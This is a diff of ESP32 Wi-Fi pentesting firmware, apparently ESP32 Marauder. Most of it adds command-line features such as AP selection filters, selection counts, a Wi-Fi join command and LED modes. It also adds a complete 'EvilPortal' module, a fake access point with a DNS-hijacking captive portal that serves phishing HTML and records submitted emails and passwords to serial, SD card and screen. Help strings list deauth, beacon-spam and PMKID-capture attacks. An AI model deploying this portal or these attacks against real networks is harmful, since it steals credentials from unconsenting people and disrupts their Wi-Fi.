// Serial.println("Starting Marauder OTA Update. Stop with " + (String)STOPSCAN_CMD);
// wifi_scan_obj.currentScanMode = OTA_UPDATE;
//#ifdef HAS_SCREEN
// menu_function_obj.changeMenu(menu_function_obj.updateMenu);
//#endif
web_obj.setupOTAupdate();
}
// web_obj.setupOTAupdate();
//}
// Update via SD
else if (sd_sw != -1) {
if (!sd_obj.supported) {
Serial.println("SD card is not connected. Cannot perform SD Update");
return;
}
wifi_scan_obj.currentScanMode = OTA_UPDATE;
sd_obj.runUpdate();
if (sd_sw != -1) {
#ifdef HAS_SD
#ifndef WRITE_PACKETS_SERIAL
if (!sd_obj.supported) {
Serial.println("SD card is not connected. Cannot perform SD Update");
return;
}
wifi_scan_obj.currentScanMode = OTA_UPDATE;
sd_obj.runUpdate();
#else
Serial.println("SD card not initialized. Cannot perform SD Update");
#endif
#else
Serial.println("SD card support disabled. Cannot perform SD Update");
return;
#endif
}
}
}
int count_selected = 0;
//// WiFi aux commands
// List access points
if (cmd_args.get(0) == LIST_AP_CMD) {
@@ -541,20 +757,26 @@ void CommandLine::runCommand(String input) {
// List APs
if (ap_sw != -1) {
for (int i = 0; i < access_points->size(); i++) {
if (access_points->get(i).selected)
Serial.println("[" + (String)i + "] " + access_points->get(i).essid + " " + (String)access_points->get(i).rssi + " (selected)");
if (access_points->get(i).selected) {
Serial.println("[" + (String)i + "][CH:" + (String)access_points->get(i).channel + "] " + access_points->get(i).essid + " " + (String)access_points->get(i).rssi + " (selected)");
count_selected += 1;
}
else
Serial.println("[" + (String)i + "] " + access_points->get(i).essid + " " + (String)access_points->get(i).rssi);
Serial.println("[" + (String)i + "][CH:" + (String)access_points->get(i).channel + "] " + access_points->get(i).essid + " " + (String)access_points->get(i).rssi);
}
this->showCounts(count_selected);
}
// List SSIDs
else if (ss_sw != -1) {
for (int i = 0; i < ssids->size(); i++) {
if (ssids->get(i).selected)
if (ssids->get(i).selected) {
Serial.println("[" + (String)i + "] " + ssids->get(i).essid + " (selected)");
count_selected += 1;
}
else
Serial.println("[" + (String)i + "] " + ssids->get(i).essid);
}
this->showCounts(count_selected);
}
// List Stations
else if (cl_sw != -1) {
@@ -567,6 +789,7 @@ void CommandLine::runCommand(String input) {
Serial.print(" [" + (String)access_points->get(x).stations->get(i) + "] ");
Serial.print(sta_mac);
Serial.println(" (selected)");
count_selected += 1;
}
else {
Serial.print(" [" + (String)access_points->get(x).stations->get(i) + "] ");
@@ -574,6 +797,7 @@ void CommandLine::runCommand(String input) {
}
}
}
this->showCounts(count_selected);
}
else {
Serial.println("You did not specify which list to show");
@@ -586,50 +810,66 @@ void CommandLine::runCommand(String input) {
int ap_sw = this->argSearch(&cmd_args, "-a");
int ss_sw = this->argSearch(&cmd_args, "-s");
int cl_sw = this->argSearch(&cmd_args, "-c");
int filter_sw = this->argSearch(&cmd_args, "-f");
count_selected = 0;
int count_unselected = 0;
// select Access points
if (ap_sw != -1) {
// Get list of indices
LinkedList<String> ap_index = this->parseCommand(cmd_args.get(ap_sw + 1), ",");
// Select ALL APs
if (cmd_args.get(ap_sw + 1) == "all") {
for (int i = 0; i < access_points->size(); i++) {
if (access_points->get(i).selected) {
// Unselect "selected" ap
AccessPoint new_ap = access_points->get(i);
new_ap.selected = false;
access_points->set(i, new_ap);
}
else {
// Select "unselected" ap
AccessPoint new_ap = access_points->get(i);
new_ap.selected = true;
access_points->set(i, new_ap);
// If the filters parameter was specified
if (filter_sw != -1) {
String filter_ap = cmd_args.get(filter_sw + 1);
this->filterAccessPoints(filter_ap);
} else {
// Get list of indices
LinkedList<String> ap_index = this->parseCommand(cmd_args.get(ap_sw + 1), ",");
// Select ALL APs
if (cmd_args.get(ap_sw + 1) == "all") {
for (int i = 0; i < access_points->size(); i++) {
if (access_points->get(i).selected) {
// Unselect "selected" ap
AccessPoint new_ap = access_points->get(i);
new_ap.selected = false;
access_points->set(i, new_ap);
count_unselected += 1;
}
else {
// Select "unselected" ap
AccessPoint new_ap = access_points->get(i);
new_ap.selected = true;
access_points->set(i, new_ap);
count_selected += 1;
}
}
this->showCounts(count_selected, count_unselected);
}
}
// Select specific APs
else {
// Mark APs as selected
for (int i = 0; i < ap_index.size(); i++) {
int index = ap_index.get(i).toInt();
if (!this->inRange(access_points->size(), index)) {
Serial.println("Index not in range: " + (String)index);
continue;
}
if (access_points->get(index).selected) {
// Unselect "selected" ap
AccessPoint new_ap = access_points->get(index);
new_ap.selected = false;
access_points->set(index, new_ap);
}
else {
// Select "unselected" ap
AccessPoint new_ap = access_points->get(index);
new_ap.selected = true;
access_points->set(index, new_ap);
// Select specific APs
else {
// Mark APs as selected
for (int i = 0; i < ap_index.size(); i++) {
int index = ap_index.get(i).toInt();
if (!this->inRange(access_points->size(), index)) {
Serial.println("Index not in range: " + (String)index);
continue;
}
if (access_points->get(index).selected) {
// Unselect "selected" ap
AccessPoint new_ap = access_points->get(index);
new_ap.selected = false;
access_points->set(index, new_ap);
count_unselected += 1;
}
else {
// Select "unselected" ap
AccessPoint new_ap = access_points->get(index);
new_ap.selected = true;
access_points->set(index, new_ap);
count_selected += 1;
}
}
this->showCounts(count_selected, count_unselected);
}
}
}
@@ -644,14 +884,17 @@ void CommandLine::runCommand(String input) {
Station new_sta = stations->get(i);
new_sta.selected = false;
stations->set(i, new_sta);
count_unselected += 1;
}
else {
// Select "unselected" ap
Station new_sta = stations->get(i);
new_sta.selected = true;
stations->set(i, new_sta);
count_selected += 1;
}
}
this->showCounts(count_selected, count_unselected);
}
// Select specific Stations
else {
@@ -667,14 +910,17 @@ void CommandLine::runCommand(String input) {
Station new_sta = stations->get(index);
new_sta.selected = false;
stations->set(index, new_sta);
count_unselected += 1;
}
else {
// Select "unselected" ap
Station new_sta = stations->get(index);
new_sta.selected = true;
stations->set(index, new_sta);
count_selected += 1;
}
}
this->showCounts(count_selected, count_unselected);
}
}
// select ssids
@@ -694,14 +940,17 @@ void CommandLine::runCommand(String input) {
ssid new_ssid = ssids->get(index);
new_ssid.selected = false;
ssids->set(index, new_ssid);
count_unselected += 1;
}
else {
// Select "unselected" ap
ssid new_ssid = ssids->get(index);
new_ssid.selected = true;
ssids->set(index, new_ssid);
count_selected += 1;
}
}
this->showCounts(count_selected, count_unselected);
}
else {
Serial.println("You did not specify which list to select from");
@@ -745,4 +994,41 @@ void CommandLine::runCommand(String input) {
return;
}
}
// Join WiFi
else if (cmd_args.get(0) == JOINWIFI_CMD) {
int n_sw = this->argSearch(&cmd_args, "-n"); // name
int a_sw = this->argSearch(&cmd_args, "-a"); // access point
int s_sw = this->argSearch(&cmd_args, "-s"); // ssid
int p_sw = this->argSearch(&cmd_args, "-p");
String essid = "";
String pwx = "";
if (s_sw != -1) {
int index = cmd_args.get(s_sw + 1).toInt();
if (!this->inRange(ssids->size(), index)) {
Serial.println("Index not in range: " + (String)index);
return;
}
essid = ssids->get(index).essid;
} else if (a_sw != -1) {
int index = cmd_args.get(a_sw + 1).toInt();
if (!this->inRange(access_points->size(), index)) {
Serial.println("Index not in range: " + (String)index);
return;
}
essid = access_points->get(index).essid;
} else if (n_sw != -1) {
essid = cmd_args.get(n_sw + 1);
} else {
Serial.println("You must specify an access point or ssid");
return;
}
if (p_sw != -1) {
pwx = cmd_args.get(p_sw + 1);
}
Serial.println("Attempting to join WiFi with ssid " + (String)essid);
wifi_scan_obj.joinWiFi(essid, pwx);
}
}

View File

@@ -9,9 +9,12 @@
#endif
#include "WiFiScan.h"
#include "Web.h"
#include "SDInterface.h"
//#include "Web.h"
#ifdef HAS_SD
#include "SDInterface.h"
#endif
#include "settings.h"
#include "LedInterface.h"
#ifdef HAS_SCREEN
extern MenuFunctions menu_function_obj;
@@ -19,13 +22,17 @@
#endif
extern WiFiScan wifi_scan_obj;
extern Web web_obj;
extern SDInterface sd_obj;
//extern Web web_obj;
#ifdef HAS_SD
extern SDInterface sd_obj;
#endif
extern Settings settings_obj;
extern LedInterface led_obj;
extern LinkedList<AccessPoint>* access_points;
extern LinkedList<ssid>* ssids;
extern LinkedList<Station>* stations;
extern const String PROGMEM version_number;
extern const String PROGMEM board_target;
//// Commands
@@ -36,8 +43,12 @@ const char PROGMEM REBOOT_CMD[] = "reboot";
const char PROGMEM UPDATE_CMD[] = "update";
const char PROGMEM HELP_CMD[] = "help";
const char PROGMEM SETTINGS_CMD[] = "settings";
const char PROGMEM LS_CMD[] = "ls";
const char PROGMEM LED_CMD[] = "led";
// WiFi sniff/scan
const char PROGMEM EVIL_PORTAL_CMD[] = "evilportal";
const char PROGMEM SIGSTREN_CMD[] = "sigmon";
const char PROGMEM SCANAP_CMD[] = "scanap";
const char PROGMEM SCANSTA_CMD[] = "scansta";
const char PROGMEM SNIFF_RAW_CMD[] = "sniffraw";
@@ -60,6 +71,7 @@ const char PROGMEM ATTACK_TYPE_RR[] = "rickroll";
const char PROGMEM LIST_AP_CMD[] = "list";
const char PROGMEM SEL_CMD[] = "select";
const char PROGMEM SSID_CMD[] = "ssid";
const char PROGMEM JOINWIFI_CMD[] = "join";
// Bluetooth sniff/scan
const char PROGMEM BT_SNIFF_CMD[] = "sniffbt";
@@ -74,8 +86,12 @@ const char PROGMEM HELP_CLEARAP_CMD_A[] = "clearlist -a/-c/-s";
const char PROGMEM HELP_REBOOT_CMD[] = "reboot";
const char PROGMEM HELP_UPDATE_CMD_A[] = "update -s/-w";
const char PROGMEM HELP_SETTINGS_CMD[] = "settings [-s <setting> enable/disable>]/[-r]";
const char PROGMEM HELP_LS_CMD[] = "ls <directory>";
const char PROGMEM HELP_LED_CMD[] = "led -s <hex color>/-p <rainbow>";
// WiFi sniff/scan
const char PROGMEM HELP_EVIL_PORTAL_CMD[] = "evilportal [-c start]";
const char PROGMEM HELP_SIGSTREN_CMD[] = "sigmon";
const char PROGMEM HELP_SCANAP_CMD[] = "scanap";
const char PROGMEM HELP_SCANSTA_CMD[] = "scansta";
const char PROGMEM HELP_SNIFF_RAW_CMD[] = "sniffraw";
@@ -84,8 +100,9 @@ const char PROGMEM HELP_SNIFF_PROBE_CMD[] = "sniffprobe";
const char PROGMEM HELP_SNIFF_PWN_CMD[] = "sniffpwn";
const char PROGMEM HELP_SNIFF_ESP_CMD[] = "sniffesp";
const char PROGMEM HELP_SNIFF_DEAUTH_CMD[] = "sniffdeauth";
const char PROGMEM HELP_SNIFF_PMKID_CMD[] = "sniffpmkid [-c <channel>]";
const char PROGMEM HELP_SNIFF_PMKID_CMD[] = "sniffpmkid [-c <channel>][-d][-l]";
const char PROGMEM HELP_STOPSCAN_CMD[] = "stopscan";
const char PROGMEM HELP_JOIN_WIFI_CMD[] = "join [-n <ssid_name>/-s <ssid_index>/-a <access_point_index>] -p <password>";
// WiFi attack
const char PROGMEM HELP_ATTACK_CMD[] = "attack -t <beacon [-l/-r/-a]/deauth [-c]/[-s <src mac>] [-d <dst mac>]/probe/rickroll>";
@@ -94,7 +111,7 @@ const char PROGMEM HELP_ATTACK_CMD[] = "attack -t <beacon [-l/-r/-a]/deauth [-c]
const char PROGMEM HELP_LIST_AP_CMD_A[] = "list -s";
const char PROGMEM HELP_LIST_AP_CMD_B[] = "list -a";
const char PROGMEM HELP_LIST_AP_CMD_C[] = "list -c";
const char PROGMEM HELP_SEL_CMD_A[] = "select -a/-s/-c <index (comma separated)>";
const char PROGMEM HELP_SEL_CMD_A[] = "select -a/-s/-c <index (comma separated)>/-f \"equals <String> or contains <String>\"";
const char PROGMEM HELP_SSID_CMD_A[] = "ssid -a [-g <count>/-n <name>]";
const char PROGMEM HELP_SSID_CMD_B[] = "ssid -r <index>";
@@ -108,11 +125,14 @@ class CommandLine {
private:
String getSerialInput();
LinkedList<String> parseCommand(String input, char* delim);
String toLowerCase(String str);
void filterAccessPoints(String filter);
void runCommand(String input);
bool checkValueExists(LinkedList<String>* cmd_args_list, int index);
bool inRange(int max, int index);
bool apSelected();
bool hasSSIDs();
void showCounts(int selected, int unselected = -1);
int argSearch(LinkedList<String>* cmd_args, String key);
const char* ascii_art =

View File

@@ -20,11 +20,17 @@ void Display::RunSetup()
#endif
tft.init();
tft.setRotation(0); // Portrait
#ifndef MARAUDER_M5STICKC
tft.setRotation(0); // Portrait
#endif
#ifdef MARAUDER_M5STICKC
tft.setRotation(3);
#endif
tft.setCursor(0, 0);
#ifndef MARAUDER_MINI
#ifdef HAS_ILI9341
#ifdef TFT_SHIELD
uint16_t calData[5] = { 275, 3494, 361, 3528, 4 }; // tft.setRotation(0); // Portrait with TFT Shield
@@ -380,7 +386,7 @@ void Display::setupScrollArea(uint16_t tfa, uint16_t bfa) {
//Serial.println(" tfa: " + (String)tfa);
//Serial.println(" bfa: " + (String)bfa);
//Serial.println("yStart: " + (String)this->yStart);
#ifndef MARAUDER_MINI
#ifdef HAS_ILI9341
tft.writecommand(ILI9341_VSCRDEF); // Vertical scroll definition
tft.writedata(tfa >> 8); // Top Fixed Area line count
tft.writedata(tfa);
@@ -393,7 +399,7 @@ void Display::setupScrollArea(uint16_t tfa, uint16_t bfa) {
void Display::scrollAddress(uint16_t vsp) {
#ifndef MARAUDER_MINI
#ifdef HAS_ILI9341
tft.writecommand(ILI9341_VSCRSADD); // Vertical scrolling pointer
tft.writedata(vsp>>8);
tft.writedata(vsp);

View File

@@ -0,0 +1,307 @@
#include "EvilPortal.h"
AsyncWebServer server(80);
EvilPortal::EvilPortal() {
this->runServer = false;
this->name_received = false;
this->password_received = false;
this->has_html = false;
this->has_ap = false;
}
bool EvilPortal::begin(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points) {
if (!this->setAP(ssids, access_points))
return false;
if (!this->setHtml())
return false;
startPortal();
return true;
}
String EvilPortal::get_user_name() {
return this->user_name;
}
String EvilPortal::get_password() {
return this->password;
}
void EvilPortal::setupServer() {
server.on("/", HTTP_GET, [this](AsyncWebServerRequest *request) {
request->send_P(200, "text/html", this->index_html);
Serial.println("client connected");
#ifdef HAS_SCREEN
this->sendToDisplay("Client connected to server");
#endif
});
server.on("/get", HTTP_GET, [this](AsyncWebServerRequest *request) {
String inputMessage;
String inputParam;
if (request->hasParam("email")) {
inputMessage = request->getParam("email")->value();
inputParam = "email";
this->user_name = inputMessage;
this->name_received = true;
}
if (request->hasParam("password")) {
inputMessage = request->getParam("password")->value();
inputParam = "password";
this->password = inputMessage;
this->password_received = true;
}
request->send(
200, "text/html",
"<html><head><script>setTimeout(() => { window.location.href ='/' }, 100);</script></head><body></body></html>");
});
Serial.println("web server up");
}
bool EvilPortal::setHtml() {
Serial.println("Setting HTML...");
#ifndef WRITE_PACKETS_SERIAL
File html_file = sd_obj.getFile("/index.html");
if (!html_file) {
#ifdef HAS_SCREEN
this->sendToDisplay("Could not find /index.html.");
this->sendToDisplay("Touch to exit...");
#endif
Serial.println("Could not find /index.html. Use stopscan...");
return false;
}
else {
if (html_file.size() > MAX_HTML_SIZE) {
#ifdef HAS_SCREEN
this->sendToDisplay("The given HTML is too large.");
this->sendToDisplay("The Byte limit is " + (String)MAX_HTML_SIZE);
this->sendToDisplay("Touch to exit...");
#endif
Serial.println("The provided HTML is too large. Byte limit is " + (String)MAX_HTML_SIZE + "\nUse stopscan...");
return false;
}
String html = "";
while (html_file.available()) {
char c = html_file.read();
if (isPrintable(c))
html.concat(c);
}
strncpy(this->index_html, html.c_str(), strlen(html.c_str()));
this->has_html = true;
Serial.println("html set");
html_file.close();
return true;
}
#else
return false;
#endif
}
bool EvilPortal::setAP(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points) {
// See if there are selected APs first
String ap_config = "";
String temp_ap_name = "";
for (int i = 0; i < access_points->size(); i++) {
if (access_points->get(i).selected) {
temp_ap_name = access_points->get(i).essid;
break;
}
}
// If there are no SSIDs and there are no APs selected, pull from file
// This means the file is last resort
if ((ssids->size() <= 0) && (temp_ap_name == "")) {
#ifndef WRITE_PACKETS_SERIAL
File ap_config_file = sd_obj.getFile("/ap.config.txt");
// Could not open config file. return false
if (!ap_config_file) {
#ifdef HAS_SCREEN
this->sendToDisplay("Could not find /ap.config.txt.");
this->sendToDisplay("Touch to exit...");
#endif
Serial.println("Could not find /ap.config.txt. Use stopscan...");
return false;
}
// Config file good. Proceed
else {
// ap name too long. return false
if (ap_config_file.size() > MAX_AP_NAME_SIZE) {
#ifdef HAS_SCREEN
this->sendToDisplay("The given AP name is too large.");
this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
this->sendToDisplay("Touch to exit...");
#endif
Serial.println("The provided AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
return false;
}
// AP name length good. Read from file into var
while (ap_config_file.available()) {
char c = ap_config_file.read();
Serial.print(c);
if (isPrintable(c)) {
ap_config.concat(c);
}
}
#ifdef HAS_SCREEN
this->sendToDisplay("AP name from config file");
this->sendToDisplay("AP name: " + ap_config);
#endif
Serial.println("AP name from config file: " + ap_config);
ap_config_file.close();
}
#else
return false;
#endif
}
// There are SSIDs in the list but there could also be an AP selected
// Priority is SSID list before AP selected and config file
else if (ssids->size() > 0) {
ap_config = ssids->get(0).essid;
if (ap_config.length() > MAX_AP_NAME_SIZE) {
#ifdef HAS_SCREEN
this->sendToDisplay("The given AP name is too large.");
this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
this->sendToDisplay("Touch to exit...");
#endif
Serial.println("The provided AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
return false;
}
#ifdef HAS_SCREEN
this->sendToDisplay("AP name from SSID list");
this->sendToDisplay("AP name: " + ap_config);
#endif
Serial.println("AP name from SSID list: " + ap_config);
}
else if (temp_ap_name != "") {
if (temp_ap_name.length() > MAX_AP_NAME_SIZE) {
#ifdef HAS_SCREEN
this->sendToDisplay("The given AP name is too large.");
this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
this->sendToDisplay("Touch to exit...");
#endif
Serial.println("The given AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
}
else {
ap_config = temp_ap_name;
#ifdef HAS_SCREEN
this->sendToDisplay("AP name from AP list");
this->sendToDisplay("AP name: " + ap_config);
#endif
Serial.println("AP name from AP list: " + ap_config);
}
}
else {
Serial.println("Could not configure Access Point. Use stopscan...");
#ifdef HAS_SCREEN
this->sendToDisplay("Could not configure Access Point.");
this->sendToDisplay("Touch to exit...");
#endif
}
if (ap_config != "") {
strncpy(this->apName, ap_config.c_str(), strlen(ap_config.c_str()));
this->has_ap = true;
Serial.println("ap config set");
return true;
}
else
return false;
}
void EvilPortal::startAP() {
Serial.print("starting ap ");
Serial.println(this->apName);
WiFi.mode(WIFI_AP);
WiFi.softAP(this->apName);
#ifdef HAS_SCREEN
this->sendToDisplay("AP started");
#endif
Serial.print("ap ip address: ");
Serial.println(WiFi.softAPIP());
this->setupServer();
this->dnsServer.start(53, "*", WiFi.softAPIP());
server.addHandler(new CaptiveRequestHandler()).setFilter(ON_AP_FILTER);
server.begin();
#ifdef HAS_SCREEN
this->sendToDisplay("Evil Portal READY");
#endif
}
void EvilPortal::startPortal() {
// wait for flipper input to get config index
this->startAP();
this->runServer = true;
}
void EvilPortal::convertStringToUint8Array(const String& str, uint8_t*& buf, uint32_t& len) {
len = str.length(); // Obtain the length of the string
buf = new uint8_t[len]; // Dynamically allocate the buffer
// Copy each character from the string to the buffer
for (uint32_t i = 0; i < len; i++) {
buf[i] = static_cast<uint8_t>(str.charAt(i));
}
}
void EvilPortal::addLog(String log, int len) {
bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
if (save_packet) {
uint8_t* logBuffer = nullptr;
uint32_t logLength = 0;
this->convertStringToUint8Array(log, logBuffer, logLength);
#ifdef WRITE_PACKETS_SERIAL
buffer_obj.addPacket(logBuffer, logLength, true);
#elif defined(HAS_SD)
sd_obj.addPacket(logBuffer, logLength, true);
#else
return;
#endif
}
}
void EvilPortal::sendToDisplay(String msg) {
#ifdef HAS_SCREEN
String display_string = "";
display_string.concat(msg);
int temp_len = display_string.length();
for (int i = 0; i < 40 - temp_len; i++)
{
display_string.concat(" ");
}
display_obj.loading = true;
display_obj.display_buffer->add(display_string);
display_obj.loading = false;
#endif
}
void EvilPortal::main(uint8_t scan_mode) {
if ((scan_mode == WIFI_SCAN_EVIL_PORTAL) && (this->has_ap) && (this->has_html)){
this->dnsServer.processNextRequest();
if (this->name_received && this->password_received) {
this->name_received = false;
this->password_received = false;
String logValue1 =
"u: " + this->user_name;
String logValue2 = "p: " + this->password;
String full_string = logValue1 + " " + logValue2 + "\n";
Serial.print(full_string);
this->addLog(full_string, full_string.length());
#ifdef HAS_SCREEN
this->sendToDisplay(full_string);
#endif
}
}
}

110
esp32_marauder/EvilPortal.h Normal file
View File

@@ -0,0 +1,110 @@
#ifndef EvilPortal_h
#define EvilPortal_h
#include "ESPAsyncWebServer.h"
#include <AsyncTCP.h>
#include <DNSServer.h>
#include "configs.h"
#include "settings.h"
#ifdef HAS_SCREEN
#include "Display.h"
#include <LinkedList.h>
#endif
#ifndef WRITE_PACKETS_SERIAL
#include "SDInterface.h"
#else
#include "Buffer.h"
#endif
#include "lang_var.h"
extern Settings settings_obj;
#ifndef WRITE_PACKETS_SERIAL
extern SDInterface sd_obj;
#endif
#ifdef HAS_SCREEN
extern Display display_obj;
#endif
extern Buffer buffer_obj;
#define WAITING 0
#define GOOD 1
#define BAD 2
#define SET_HTML_CMD "sethtml="
#define SET_AP_CMD "setap="
#define RESET_CMD "reset"
#define START_CMD "start"
#define ACK_CMD "ack"
#define MAX_AP_NAME_SIZE 30
#define WIFI_SCAN_EVIL_PORTAL 30
class CaptiveRequestHandler : public AsyncWebHandler {
public:
CaptiveRequestHandler() {}
virtual ~CaptiveRequestHandler() {}
bool canHandle(AsyncWebServerRequest *request) { return true; }
void handleRequest(AsyncWebServerRequest *request, char * index_html) {
request->send_P(200, "text/html", index_html);
}
};
struct ssid {
String essid;
uint8_t channel;
int bssid[6];
bool selected;
};
struct AccessPoint {
String essid;
int channel;
int bssid[6];
bool selected;
LinkedList<char>* beacon;
int rssi;
LinkedList<int>* stations;
};
class EvilPortal {
private:
bool runServer;
bool name_received;
bool password_received;
String user_name;
String password;
char apName[MAX_AP_NAME_SIZE] = "PORTAL";
char index_html[MAX_HTML_SIZE] = "TEST";
bool has_html;
bool has_ap;
DNSServer dnsServer;
void (*resetFunction)(void) = 0;
bool setHtml();
bool setAP(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points);
void setupServer();
void startPortal();
void startAP();
void addLog(String log, int len);
void convertStringToUint8Array(const String& str, uint8_t*& buf, uint32_t& len);
void sendToDisplay(String msg);
public:
EvilPortal();
String get_user_name();
String get_password();
bool begin(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points);
void main(uint8_t scan_mode);
};
#endif

View File

@@ -1,7 +1,7 @@
#include "LedInterface.h"
LedInterface::LedInterface() {
}
void LedInterface::RunSetup() {
@@ -33,6 +33,9 @@ void LedInterface::main(uint32_t currentTime) {
else if (this->current_mode == MODE_SNIFF) {
this->sniffLed();
}
else if (this->current_mode == MODE_CUSTOM) {
return;
}
else {
this->ledOff();
}
@@ -46,25 +49,27 @@ uint8_t LedInterface::getMode() {
return this->current_mode;
}
void LedInterface::setColor(int r, int g, int b) {
strip.setPixelColor(0, strip.Color(r, g, b));
strip.show();
}
void LedInterface::sniffLed() {
strip.setPixelColor(0, strip.Color(0, 0, 255));
strip.show();
this->setColor(0, 0, 255);
}
void LedInterface::attackLed() {
strip.setPixelColor(0, strip.Color(255, 0, 0));
strip.show();
this->setColor(255, 0, 0);
}
void LedInterface::ledOff() {
strip.setPixelColor(0, strip.Color(0, 0, 0));
strip.show();
this->setColor(0, 0, 0);
}
void LedInterface::rainbow() {
strip.setPixelColor(0, this->Wheel((0 * 256 / 100 + this->wheel_pos) % 256));
strip.show();
this->current_fade_itter++;
this->wheel_pos = this->wheel_pos - this->wheel_speed;
@@ -83,4 +88,4 @@ uint32_t LedInterface::Wheel(byte WheelPos) {
}
WheelPos -= 170;
return strip.Color(WheelPos * 3, 255 - WheelPos * 3, 0);
}
}

View File

@@ -12,6 +12,7 @@
#define MODE_RAINBOW 1
#define MODE_ATTACK 2
#define MODE_SNIFF 3
#define MODE_CUSTOM 4
extern Settings settings_obj;
extern Adafruit_NeoPixel strip;
@@ -41,6 +42,7 @@ class LedInterface {
void main(uint32_t currentTime);
void setMode(uint8_t);
void setColor(int r, int g, int b);
uint8_t getMode();

View File

@@ -17,7 +17,7 @@ MenuFunctions::MenuFunctions()
// LVGL Stuff
/* Interrupt driven periodic handler */
#ifndef MARAUDER_MINI
#ifdef HAS_ILI9341
void MenuFunctions::lv_tick_handler()
{
lv_tick_inc(LVGL_TICK_PERIOD);
@@ -113,7 +113,7 @@ MenuFunctions::MenuFunctions()
//lv_deinit();
}
void MenuFunctions::writeBadUSB(){
/*void MenuFunctions::writeBadUSB(){
// Create a keyboard and apply the styles
kb = lv_keyboard_create(lv_scr_act(), NULL);
lv_obj_set_size(kb, LV_HOR_RES, LV_VER_RES / 2);
@@ -132,32 +132,34 @@ MenuFunctions::MenuFunctions()
lv_textarea_set_text(ta1, "");
lv_textarea_set_placeholder_text(ta1, "Ducky script");
if (sd_obj.supported) {
// Create load button
lv_obj_t * label;
lv_obj_t * load_btn = lv_btn_create(lv_scr_act(), NULL);
lv_obj_set_event_cb(load_btn, load_btn_cb);
lv_obj_set_height(load_btn, 35);
lv_obj_set_width(load_btn, LV_HOR_RES / 3);
lv_obj_align(load_btn, ta1, LV_ALIGN_IN_TOP_RIGHT, NULL, (LV_VER_RES / 2) - 35); // align to text area
label = lv_label_create(load_btn, NULL);
lv_label_set_text(label, text05);
// Create Save As button
lv_obj_t * label2;
lv_obj_t * save_as_btn = lv_btn_create(lv_scr_act(), NULL);
lv_obj_set_event_cb(save_as_btn, load_btn_cb);
lv_obj_set_height(save_as_btn, 35);
lv_obj_set_width(save_as_btn, LV_HOR_RES / 3);
lv_obj_align(save_as_btn, ta1, LV_ALIGN_IN_TOP_MID, NULL, (LV_VER_RES / 2) - 35); // align to text area
label2 = lv_label_create(save_as_btn, NULL);
lv_label_set_text(label2, text06);
}
#ifndef WRITE_PACKETS_SERIAL
if (sd_obj.supported) {
// Create load button
lv_obj_t * label;
lv_obj_t * load_btn = lv_btn_create(lv_scr_act(), NULL);
lv_obj_set_event_cb(load_btn, load_btn_cb);
lv_obj_set_height(load_btn, 35);
lv_obj_set_width(load_btn, LV_HOR_RES / 3);
lv_obj_align(load_btn, ta1, LV_ALIGN_IN_TOP_RIGHT, NULL, (LV_VER_RES / 2) - 35); // align to text area
label = lv_label_create(load_btn, NULL);
lv_label_set_text(label, text05);
// Create Save As button
lv_obj_t * label2;
lv_obj_t * save_as_btn = lv_btn_create(lv_scr_act(), NULL);
lv_obj_set_event_cb(save_as_btn, load_btn_cb);
lv_obj_set_height(save_as_btn, 35);
lv_obj_set_width(save_as_btn, LV_HOR_RES / 3);
lv_obj_align(save_as_btn, ta1, LV_ALIGN_IN_TOP_MID, NULL, (LV_VER_RES / 2) - 35); // align to text area
label2 = lv_label_create(save_as_btn, NULL);
lv_label_set_text(label2, text06);
}
#endif
// Focus it on one of the text areas to start
lv_keyboard_set_textarea(kb, ta1);
lv_keyboard_set_cursor_manage(kb, true);
}
}*/
// Event handler for settings drop down menus
void setting_dropdown_cb(lv_obj_t * obj, lv_event_t event) {
@@ -727,31 +729,6 @@ MenuFunctions::MenuFunctions()
}
}
void write_bad_usb_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event) {
extern Display display_obj;
extern MenuFunctions menu_function_obj;
extern A32u4Interface a32u4_obj;
extern WiFiScan wifi_scan_obj;
lv_keyboard_def_event_cb(kb, event);
if(event == LV_EVENT_APPLY){
String display_string = "";
printf("LV_EVENT_APPLY\n");
String ta1_text = lv_textarea_get_text(ta1);
Serial.println(ta1_text);
a32u4_obj.runScript(ta1_text);
}
else if(event == LV_EVENT_CANCEL) {
printf("LV_EVENT_CANCEL\n");
menu_function_obj.deinitLVGL();
wifi_scan_obj.StartScan(WIFI_SCAN_OFF);
display_obj.exit_draw = true; // set everything back to normal
}
}
// Keyboard callback dedicated to joining wifi
void add_ssid_keyboard_event_cb(lv_obj_t * keyboard, lv_event_t event){
extern Display display_obj;
@@ -820,12 +797,6 @@ MenuFunctions::MenuFunctions()
lv_keyboard_set_textarea(kb, ta);
}
//else if(event == LV_EVENT_INSERT) {
// const char * str = lv_event_get_data();
// if(str[0] == '\n') {
// printf("Ready\n");
// }
//}
}
#endif
@@ -858,7 +829,7 @@ void MenuFunctions::main(uint32_t currentTime)
this->orientDisplay();
wifi_scan_obj.orient_display = false;
}
#ifndef MARAUDER_MINI
#ifdef HAS_ILI9341
if ((wifi_scan_obj.currentScanMode != LV_JOIN_WIFI) &&
(wifi_scan_obj.currentScanMode != LV_ADD_SSID))
display_obj.updateBanner(current_menu->name);
@@ -871,7 +842,7 @@ void MenuFunctions::main(uint32_t currentTime)
if ((wifi_scan_obj.currentScanMode != LV_JOIN_WIFI) &&
(wifi_scan_obj.currentScanMode != LV_ADD_SSID))
this->updateStatusBar();
#ifdef MARAUDER_MINI
#if defined(MARAUDER_MINI) || defined(MARAUDER_M5STICKC)
display_obj.updateBanner(current_menu->name);
#endif
}
@@ -899,13 +870,13 @@ void MenuFunctions::main(uint32_t currentTime)
int pre_getTouch = millis();
// getTouch causes a 10ms delay which makes beacon spam less effective
#ifndef MARAUDER_MINI
#ifdef HAS_ILI9341
pressed = display_obj.tft.getTouch(&t_x, &t_y);
#endif
// This is if there are scans/attacks going on
#ifndef MARAUDER_MINI
#ifdef HAS_ILI9341
